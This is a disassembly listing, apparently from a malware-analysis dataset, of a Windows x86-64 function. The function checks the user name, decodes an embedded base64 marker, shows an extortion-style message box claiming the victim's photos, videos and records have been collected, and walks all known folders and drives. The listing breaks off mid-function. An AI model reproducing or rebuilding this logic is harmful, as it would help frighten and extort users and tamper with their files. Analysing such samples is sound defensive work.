Function at 0x140006b80
Capabilities:
Accept command line arguments
Get common file path
Get disk information
Get session user name

Disassembly:
push rbp
push r12
push r15
lea rbp, [rsp - 0x300]
sub rsp, 0x400
mov rax, qword [0x140016040]
xor rax, rsp
mov qword [rbp + 0x2e0], rax
xor r15d, r15d
mov dword [rbp - 0x60], 0x100
lea rdx, [rbp - 0x60]
mov dword [rsp + 0x40], r15d
lea rcx, [rbp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
xorps xmm0, xmm0
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r15
lea r12, [r15 - 1]
movups xmmword [rsp + 0x48], xmm0
test eax, eax
je 0x140006c03
lea rax, [rbp + 0xe0]
mov r8, r12
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], r15w
jne 0x140006bf0
lea rdx, [rbp + 0xe0]
jmp 0x140006c0d
xor r8d, r8d
lea rdx, [0x1400109ac]
lea rcx, [rsp + 0x48]
call fcn.14000b4d0
mov qword [rsp + 0x420], rbx
cmp qword [rsp + 0x58], r15
jne 0x140006c4d
xorps xmm0, xmm0
mov qword [rbp], r15
xor r8d, r8d
mov qword [rbp + 8], r15
lea rdx, [0x1400108b9]
lea rcx, [rbp - 0x10]
movups xmmword [rbp - 0x10], xmm0
call fcn.14000b760
jmp 0x140006ce5
cmp qword [rsp + 0x60], 7
lea r8, [rsp + 0x48]
mov qword [rsp + 0x38], r15
mov r9d, r12d
cmova r8, qword [rsp + 0x48]
mov ecx, 0xfde9
mov qword [rsp + 0x30], r15
xor edx, edx
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
lea ecx, [rax - 1]
movsxd rdx, ecx
lea rcx, [rbp - 0x50]
call fcn.140009730
cmp qword [rbp - 0x38], 0xf
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x38], r15
lea r8, [rsp + 0x48]
cmova rcx, qword [rbp - 0x50]
mov r9d, r12d
cmp qword [rsp + 0x60], 7
mov qword [rsp + 0x30], r15
cmova r8, qword [rsp + 0x48]
xor edx, edx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rbp - 0x50]
movups xmm1, xmmword [rbp - 0x40]
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm1
cmp qword [rbp + 8], 0xf
lea rdx, [rbp - 0x10]
xorps xmm0, xmm0
mov qword [rbp + 0x58], r15
cmova rdx, qword [rbp - 0x10]
mov r8, r12
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x60], r15
inc r8
cmp byte [rdx + r8], r15b
jne 0x140006d05
lea rcx, [rbp + 0x48]
call fcn.14000b760
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140006d4e
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d49
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006d87
call fcn.14000dd00
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140006d93
mov rcx, qword [rsp + 0x48]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d8e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000dd00
cmp qword [rbp + 0x60], 0xf
lea rcx, [rbp + 0x48]
mov rbx, qword [rbp + 0x48]
mov r8, qword [rbp + 0x58]
cmova rcx, rbx
mov qword [rsp + 0x428], rsi
mov qword [rsp + 0x430], rdi
mov qword [rsp + 0x3f8], r13
mov qword [rsp + 0x3f0], r14
cmp r8, 4
jne 0x140006de2
lea rdx, str.dell
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007e61
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x58]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
movsxd rcx, dword [rbp - 0x58]
mov rdi, rax
mov eax, 8
mul rcx
cmovo rax, r12
mov rcx, rax
call fcn.14000e100
mov r14, rax
mov qword [rsp + 0x68], rax
mov esi, r15d
cmp dword [rbp - 0x58], r15d
jle 0x140006e96
sub r14, rdi
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [rdi]
mov r9d, r12d
mov qword [rsp + 0x38], r15
xor edx, edx
mov qword [rsp + 0x30], r15
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rcx, rbx
call fcn.14000e100
mov qword [rsp + 0x38], r15
mov r9d, r12d
mov qword [r14 + rdi], rax
xor edx, edx
mov r8, qword [rdi]
xor ecx, ecx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
inc esi
lea rdi, [rdi + 8]
cmp esi, dword [rbp - 0x58]
jl 0x140006e30
mov r14, qword [rsp + 0x68]
xorps xmm0, xmm0
mov qword [rbp + 0x78], r15
xor r8d, r8d
mov qword [rbp + 0x80], r15
lea rdx, [0x1400108b9]
lea rcx, [rbp + 0x68]
movups xmmword [rbp + 0x68], xmm0
call fcn.14000b760
cmp dword [rbp - 0x58], 1
jne 0x140006ee8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.not_Argument
call fcn.14000a630
mov rcx, rax
lea rdx, [0x140010898]
call fcn.14000a630
jmp 0x140006f75
mov ebx, 1
jle 0x140006f45
lea rdi, [r14 + 8]
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [rdi]
mov r8, r12
inc r8
cmp byte [rdx + r8], r15b
jne 0x140006f06
lea rcx, [rbp + 0x68]
call fcn.140009f70
mov ecx, dword [rbp - 0x58]
lea eax, [rcx - 1]
cmp ebx, eax
jge 0x140006f3b
mov r8d, 1
lea rdx, [0x140010cb0]
lea rcx, [rbp + 0x68]
call fcn.140009f70
mov ecx, dword [rbp - 0x58]
inc ebx
add rdi, 8
cmp ebx, ecx
jl 0x140006f00
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.All_arguments_in_one_line:
call fcn.14000a630
cmp qword [rbp + 0x80], 0xf
lea rdx, [rbp + 0x68]
mov r8, qword [rbp + 0x78]
mov rcx, rax
cmova rdx, qword [rbp + 0x68]
call fcn.14000c720
lea rdx, [0x14000a800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0x104
lea rdx, [rbp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r14d, r14d
xorps xmm0, xmm0
mov qword [rbp + 0x98], r14
mov qword [rbp + 0xa0], r14
movups xmmword [rbp + 0x88], xmm0
test eax, eax
je 0x140006fd5
lea rax, [rbp + 0xe0]
mov r8, r12
inc r8
cmp byte [rax + r8], r14b
jne 0x140006fc3
lea rdx, [rbp + 0xe0]
jmp 0x140006fdf
xor r8d, r8d
lea rdx, [0x1400108b9]
lea rcx, [rbp + 0x88]
call fcn.14000b760
xorps xmm0, xmm0
mov qword [rbp - 0x80], r14
mov r8d, 0x10
mov qword [rbp - 0x78], r14
lea rdx, str.I0FYQ0QxRVJGViM
lea rcx, [rsp + 0x70]
movups xmmword [rsp + 0x70], xmm0
call fcn.14000b760
mov rax, qword [rbp - 0x80]
xorps xmm0, xmm0
mov r12, qword [rsp + 0x70]
mov r13d, 0xf
mov qword [rbp - 0x20], r14
mov rdi, r14
mov qword [rbp - 0x18], r13
mov rsi, r14
mov r15, r14
movups xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x30], 0
test rax, rax
je 0x140007479
movzx r14d, byte [rbp - 0x5f]
mov r13, qword [rbp - 0x78]
nop
dec rax
mov qword [rbp - 0x68], rax
cmp r13, 0xf
lea rax, [rsp + 0x70]
cmova rax, r12
cmp byte [rax + rsi], 0x3d
je 0x1400072b1
cmp r13, 0xf
lea rax, [rsp + 0x70]
cmova rax, r12
movzx ebx, byte [rax + rsi]
mov ecx, ebx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
test eax, eax
jne 0x140007097
sub bl, 0x2b
test bl, 0xfb
jne 0x1400072b1
cmp r13, 0xf
lea rax, [rsp + 0x70]
cmova rax, r12
movzx eax, byte [rax + rsi]
inc rsi
mov byte [rbp + rdi - 0x60], al
inc rdi
mov qword [rbp - 0x70], rsi
cmp rdi, 4
jne 0x14000729f
mov r13, qword [0x140016d40]
lea rsi, [0x140016d28]
mov r12, qword [0x140016d28]
cmp r13, 0xf
mov rdi, qword [0x140016d38]
mov rbx, rsi
cmova rbx, r12
test rdi, rdi
je 0x140007105
movsx edx, byte [rbp - 0x60]
mov r8, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140007105
sub rax, rbx
jmp 0x14000710c
mov rax, 0xffffffffffffffff
cmp r13, 0xf
mov byte [rbp - 0x60], al
mov rbx, rsi
cmova rbx, r12
test rdi, rdi
je 0x14000713b
movsx edx, byte [rbp - 0x5f]
mov r8, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov r14, rax
test rax, rax
je 0x14000713b
sub r14, rbx
jmp 0x140007142
mov r14, 0xffffffffffffffff
cmp r13, 0xf
mov byte [rbp - 0x5f], r14b
cmova rsi, r12
test rdi, rdi
je 0x14000716f
movsx edx, byte [rbp - 0x5e]
mov r8, rdi
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14000716f
sub rbx, rsi
jmp 0x140007176
mov rbx, 0xffffffffffffffff
cmp r13, 0xf
mov byte [rbp - 0x5e], bl
lea rsi, [0x140016d28]
cmova rsi, r12
test rdi, rdi
je 0x1400071a9
movsx edx, byte [rbp - 0x5d]
mov r8, rdi
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
mov rcx, rax
test rax, rax
je 0x1400071a9
sub rcx, rsi
jmp 0x1400071b0
mov rcx, 0xffffffffffffffff
movzx eax, byte [rbp - 0x60]
movzx r9d, r14b
movzx edi, byte [rbp - 0x5e]
shl al, 2
shr r9b, 4
shr dil, 2
and r9b, 3
add r9b, al
shl bl, 6
and dil, 0xf
mov byte [rbp - 0x5d], cl
add bl, cl
movzx eax, r14b
mov rcx, qword [rbp - 0x18]
shl al, 4
add dil, al
cmp r15, rcx
jae 0x14000720e
lea rax, [r15 + 1]
cmp rcx, 0xf
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
cmova rax, qword [rbp - 0x30]
mov byte [rax + r15], r9b
mov byte [rax + r15 + 1], 0
jmp 0x140007217
lea rcx, [rbp - 0x30]
call fcn.14000bac0
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
cmp rcx, rdx
jae 0x140007244
lea rax, [rcx + 1]
cmp rdx, 0xf
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
cmova rax, qword [rbp - 0x30]
mov byte [rax + rcx], dil
mov byte [rax + rcx + 1], 0
jmp 0x140007251
movzx r9d, dil
lea rcx, [rbp - 0x30]
call fcn.14000bac0
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
cmp rcx, rdx
jae 0x14000727d
lea rax, [rcx + 1]
cmp rdx, 0xf
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
cmova rax, qword [rbp - 0x30]
mov byte [rax + rcx], bl
mov byte [rax + rcx + 1], 0
jmp 0x14000728a
movzx r9d, bl
lea rcx, [rbp - 0x30]
call fcn.14000bac0
mov r15, qword [rbp - 0x20]
xor edi, edi
mov rsi, qword [rbp - 0x70]
mov r12, qword [rsp + 0x70]
mov r13, qword [rbp - 0x78]
jmp 0x1400072a4
movzx r14d, byte [rbp - 0x5f]
mov rax, qword [rbp - 0x68]
test rax, rax
jne 0x140007050
test rdi, rdi
je 0x140007476
mov rax, rdi
cmp rdi, 4
jae 0x1400072f0
nop dword [rax]
nop word [rax + rax]
mov byte [rbp + rax - 0x60], 0
inc rax
cmp rax, 4
jb 0x1400072d0
movzx r14d, byte [rbp - 0x5f]
nop dword [rax]
nop word [rax + rax]
cmp qword [0x140016d40], 0xf
lea rbx, [0x140016d28]
mov r12, qword [0x140016d28]
mov rsi, qword [0x140016d38]
cmova rbx, r12
test rsi, rsi
je 0x140007332
movsx edx, byte [rbp - 0x60]
mov r8, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov r13, rax
test rax, rax
je 0x140007332
sub r13, rbx
jmp 0x140007339
mov r13, 0xffffffffffffffff
cmp qword [0x140016d40], 0xf
lea rbx, [0x140016d28]
cmova rbx, r12
test rsi, rsi
je 0x14000736d
movsx edx, r14b
mov r8, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov r14, rax
test rax, rax
je 0x14000736d
sub r14, rbx
jmp 0x140007374
mov r14, 0xffffffffffffffff
cmp qword [0x140016d40], 0xf
lea r12, [0x140016d28]
cmova r12, qword [0x140016d28]
test rsi, rsi
je 0x1400073ac
movsx edx, byte [rbp - 0x5e]
mov r8, rsi
mov rcx, r12
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x1400073ac
sub rbx, r12
jmp 0x1400073b3
mov rbx, 0xffffffffffffffff
cmp qword [0x140016d40], 0xf
lea r12, [0x140016d28]
cmova r12, qword [0x140016d28]
test rsi, rsi
je 0x1400073eb
movsx edx, byte [rbp - 0x5d]
mov r8, rsi
mov rcx, r12
call sub.VCRUNTIME140.dll_memchr
mov rcx, rax
test rax, rax
je 0x1400073eb
sub rcx, r12
jmp 0x1400073f2
mov rcx, 0xffffffffffffffff
movzx eax, r14b
shl r13b, 2
shr al, 4
and al, 3
shl r14b, 4
add al, r13b
mov byte [rbp - 0x60], al
movzx eax, bl
shr al, 2
shl bl, 6
and al, 0xf
add al, r14b
add bl, cl
xor r14d, r14d
mov byte [rbp - 0x5e], bl
mov byte [rbp - 0x5f], al
mov ebx, r14d
sub rdi, 1
je 0x140007479
nop dword [rax + rax]
mov r13, qword [rbp - 0x18]
movzx r9d, byte [rbp + rbx - 0x60]
cmp r15, r13
jae 0x14000745f
lea rax, [r15 + 1]
cmp r13, 0xf
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
cmova rax, qword [rbp - 0x30]
mov byte [rax + r15], r9b
mov byte [rax + r15 + 1], r14b
jmp 0x140007468
lea rcx, [rbp - 0x30]
call fcn.14000bac0
inc rbx
cmp rbx, rdi
jae 0x140007479
mov r15, qword [rbp - 0x20]
jmp 0x140007430
xor r14d, r14d
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400074b5
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400074b0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007e90
call fcn.14000dd00
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x88]
call fcn.140006850
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov ebx, eax
cmp eax, 0xffffffff
je 0x140007518
lea rdx, str.Pattern_found_at_offset:
call fcn.14000a630
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x14000a800]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
lea r8, str.Message
lea rdx, str.Your_information__including_videos__audio__and_photos__along_with_your_complete_details_and_records__has_been_collected_over_the_past_six_months.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140007d4a
lea rdx, str.Pattern_not_found.
call fcn.14000a630
lea rdx, [0x14000a800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x140010690]
mov qword [rbp + 0x20], r14
lea rbx, [rbp + 0xa8]
movups xmm1, xmmword [0x140010680]
movups xmmword [rbp + 0xa8], xmm0
movups xmm0, xmmword [0x140010670]
movups xmmword [rbp + 0xb8], xmm1
xorps xmm1, xmm1
movups xmmword [rbp + 0xc8], xmm0
movdqu xmmword [rbp + 0x10], xmm1
nop dword [rax]
nop word [rax + rax]
lea r9, [rbp - 0x60]
mov qword [rbp - 0x60], r14
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
xorps xmm0, xmm0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
movups xmmword [rbp - 0x50], xmm0
test eax, eax
jne 0x14000765a
mov rdx, qword [rbp - 0x60]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x1400075c0
lea rcx, [rbp - 0x50]
call fcn.14000b4d0
mov rdx, qword [rbp + 0x18]
cmp rdx, qword [rbp + 0x20]
je 0x140007601
movups xmm0, xmmword [rbp - 0x50]
movups xmm1, xmmword [rbp - 0x40]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
add qword [rbp + 0x18], 0x20
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x1400076d9
lea r8, [rbp - 0x50]
lea rcx, [rbp + 0x10]
call fcn.14000c8e0
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14000764e
mov rcx, qword [rbp - 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007649
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007740
call fcn.14000dd00
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x1400076d9
mov r8d, 0x14
lea rdx, str.Unable_to_find_path.
lea rcx, [rbp - 0x50]
call fcn.14000b4d0
mov rdx, qword [rbp + 0x18]
cmp rdx, qword [rbp + 0x20]
je 0x140007690
movups xmm0, xmmword [rbp - 0x50]
movups xmm1, xmmword [rbp - 0x40]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
add qword [rbp + 0x18], 0x20
jmp 0x1400076d9
lea r8, [rbp - 0x50]
lea rcx, [rbp + 0x10]
call fcn.14000c8e0
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x1400076d9
mov rcx, qword [rbp - 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400076d4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007740
call fcn.14000dd00
add rbx, 0x10
lea rax, [rbp + 0xd8]
cmp rbx, rax
jne 0x140007580
mov r13, qword [rbp + 0x60]
lea r9, [rbp + 0x48]
mov r12, qword [rbp + 0x48]
cmp r13, 0xf
mov rax, qword [0x140016d20]
mov r15, qword [rbp + 0x58]
cmova r9, r12
cmp r15, rax
ja 0x140007747
cmp rax, 0xf
mov qword [0x140016d18], r15
lea rbx, [0x140016d08]
mov r8, r15
cmova rbx, qword [0x140016d08]
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [r15 + rbx], 0
jmp 0x140007762
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r15
lea rcx, [0x140016d08]
call fcn.14000be00
mov r12, qword [rbp + 0x48]
mov r15, qword [rbp + 0x58]
mov r13, qword [rbp + 0x60]
cmp qword [0x140016d18], 0
jbe 0x140007cfc
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
test eax, eax
je 0x140007a72
mov dil, 0x41
lea rbx, [0x140011060]
nop word [rax + rax]
test sil, 1
je 0x140007a63
xor edx, edx
lea rcx, [rbp + 0xe0]
mov r8d, 0xf8
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140010ef0]
mov qword [rbp + 0xe0], rbx
lea rcx, [rbp + 0x178]
mov qword [rbp + 0xf0], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
or dword [rsp + 0x40], 1
lea rdx, [rbp + 0xf8]
xor r8d, r8d
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xe0], rax
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xdc], edx
lea rcx, [rbp + 0xf8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x160], r14
movzx edx, dil
mov qword [rbp + 0xf8], rax
lea rcx, [rbp + 0xf0]
mov dword [rbp + 0x168], r14d
call fcn.14000abd0
mov rcx, rax
lea rdx, [0x140010d3c]
call fcn.14000a630
cmp dil, 0x43
je 0x140007a0b
mov ecx, dword [rbp + 0x168]
xorps xmm0, xmm0
mov eax, ecx
mov qword [rbp], r14
and al, 0x22
mov qword [rbp + 8], 0xf
movups xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x10], 0
movups xmmword [rsp + 0x48], xmm0
cmp al, 2
je 0x1400078ca
mov rax, qword [rbp + 0x138]
mov rbx, qword [rax]
test rbx, rbx
je 0x1400078ca
mov rax, qword [rbp + 0x118]
cmp rbx, qword [rbp + 0x160]
cmovb rbx, qword [rbp + 0x160]
mov r9, qword [rax]
sub rbx, r9
mov rax, rbx
jmp 0x14000790d
mov rax, r14
test cl, 4
jne 0x140007903
mov rax, qword [rbp + 0x130]
mov rdx, qword [rax]
mov rax, r14
test rdx, rdx
je 0x140007903
mov rax, qword [rbp + 0x110]
mov r9, qword [rax]
mov rax, qword [rbp + 0x148]
movsxd rbx, dword [rax]
sub rbx, r9
add rbx, rdx
mov rax, rbx
jmp 0x14000790d
mov rbx, qword [rsp + 0x50]
mov r9, qword [rsp + 0x48]
test r9, r9
je 0x14000793a
lea rcx, [rbp - 0x10]
cmp rax, 0xf
ja 0x140007932
mov r8, rbx
mov qword [rbp], rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rbp + rbx - 0x10], 0
jmp 0x14000793a
mov rdx, rbx
call fcn.14000be00
cmp qword [rbp + 8], 0xf
lea rdx, [rbp - 0x10]
xorps xmm0, xmm0
mov qword [rbp - 0x40], r14
cmova rdx, qword [rbp - 0x10]
mov r8, 0xffffffffffffffff
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x38], r14
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140007960
lea rcx, [rbp - 0x50]
call fcn.14000b760
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.140004790
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1400079b9
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400079b4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007af3
call fcn.14000dd00
mov rdx, qword [rbp + 8]
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
cmp rdx, 0xf
jbe 0x140007a04
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400079ff
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007af3
call fcn.14000dd00
lea rbx, [0x140011060]
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xe0], rax
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xdc], edx
lea rcx, [rbp + 0xf8]
call fcn.140008490
lea rcx, [rbp + 0x100]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x178]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
shr esi, 1
inc dil
cmp dil, 0x5a
jle 0x140007790
xorps xmm0, xmm0
mov qword [rbp + 0x38], r14
xor r8d, r8d
mov qword [rbp + 0x40], r14
lea rdx, [0x1400109ac]
lea rcx, [rbp + 0x28]
movups xmmword [rbp + 0x28], xmm0
call fcn.14000b4d0
mov rsi, qword [rbp + 0x10]
mov r14, qword [rbp + 0x18]
cmp rsi, r14
je 0x140007c17
lea rax, [rbp + 0x28]
cmp rax, rsi
je 0x140007b03
cmp qword [rsi + 0x18], 7
mov r9, rsi
mov rdx, qword [rsi + 0x10]
jbe 0x140007abf
mov r9, qword [rsi]
mov rax, qword [rbp + 0x40]
cmp rdx, rax
ja 0x140007afa
lea rbx, [rdx + rdx]
mov qword [rbp + 0x38], rdx
cmp rax, 7
lea rdi, [rbp + 0x28]
mov r8, rbx
mov rdx, r9
cmova rdi, qword [rbp + 0x28]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
xor eax, eax
mov word [rdi + rbx], ax
jmp 0x140007b05
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rcx, [rbp + 0x28]
call fcn.14000b060
xor eax, eax
mov r9, qword [rbp + 0x38]
test r9, r9
jne 0x140007b35
xorps xmm0, xmm0
mov qword [rbp - 0x40], rax
xor r8d, r8d
mov qword [rbp - 0x38], rax
lea rdx, [0x1400108b9]
lea rcx, [rbp - 0x50]
movups xmmword [rbp - 0x50], xmm0
call fcn.14000b760
jmp 0x140007bc4
cmp qword [rbp + 0x40], 7
lea r8, [rbp + 0x28]
mov qword [rsp + 0x38], rax
mov ecx, 0xfde9
cmova r8, qword [rbp + 0x28]
xor edx, edx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
lea rcx, [rbp - 0x10]
mov rdx, rbx
call fcn.140009730
cmp qword [rbp + 8], 0xf
lea rcx, [rbp - 0x10]
mov r9d, dword [rbp + 0x38]
lea r8, [rbp + 0x28]
cmova rcx, qword [rbp - 0x10]
cmp qword [rbp + 0x40], 7
cmova r8, qword [rbp + 0x28]
xor eax, eax
mov qword [rsp + 0x38], rax
xor edx, edx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm1
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.140004790
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140007c0a
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007c05
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007caa
call fcn.14000dd00
add rsi, 0x20
cmp rsi, r14
jne 0x140007aa5
test r15, r15
je 0x140007cb6
movabs rax, 0x7fffffffffffffff
sub rax, r15
cmp rax, 9
